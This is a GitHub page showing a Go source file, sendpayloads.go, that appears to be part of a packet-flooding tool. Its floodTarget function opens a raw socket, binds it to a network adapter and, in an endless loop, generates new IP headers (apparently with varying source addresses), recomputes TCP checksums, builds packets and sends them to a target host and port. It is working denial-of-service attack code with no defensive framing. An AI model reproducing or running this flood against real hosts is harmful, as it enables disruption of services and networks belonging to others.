-
Notifications
You must be signed in to change notification settings - Fork 18
/
sendpayloads.go
70 lines (63 loc) · 1.59 KB
/
sendpayloads.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package main
import (
"fmt"
"reflect"
"syscall"
)
func (tcp *TCPIP) rawSocket(descriptor int, sockaddr syscall.SockaddrInet4) {
err := syscall.Sendto(descriptor, tcp.Payload, 0, &sockaddr)
if err != nil {
fmt.Println(err)
} else {
fmt.Printf(
"Socket used: %d.%d.%d.%d:%d\n",
tcp.SRC[0], tcp.SRC[1], tcp.SRC[2], tcp.SRC[3], tcp.SrcPort,
)
}
}
func (tcp *TCPIP) floodTarget(rType reflect.Type, rVal reflect.Value) {
var dest [4]byte
copy(dest[:], tcp.DST[:4])
fd, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_RAW)
err := syscall.BindToDevice(fd, tcp.Adapter)
if err != nil {
panic(fmt.Errorf("bind to adapter %s failed: %v", tcp.Adapter, err))
}
addr := syscall.SockaddrInet4{
Port: int(tcp.DstPort),
Addr: dest,
}
for {
tcp.genIP()
tcp.calcTCPChecksum()
tcp.buildPayload(rType, rVal)
tcp.rawSocket(fd, addr)
}
}
func (tcp *TCPIP) buildPayload(t reflect.Type, v reflect.Value) {
tcp.Payload = make([]byte, 60)
var payloadIndex int = 0
for i := 0; i < t.NumField(); i++ {
field := t.Field(i)
alias, _ := field.Tag.Lookup("key")
if len(alias) < 1 {
key := v.Field(i).Interface()
keyType := reflect.TypeOf(key).Kind()
switch keyType {
case reflect.Uint8:
tcp.Payload[payloadIndex] = key.(uint8)
payloadIndex++
case reflect.Uint16:
tcp.Payload[payloadIndex] = (uint8)(key.(uint16) >> 8)
payloadIndex++
tcp.Payload[payloadIndex] = (uint8)(key.(uint16) & 0x00FF)
payloadIndex++
default:
for _, element := range key.([]uint8) {
tcp.Payload[payloadIndex] = element
payloadIndex++
}
}
}
}
}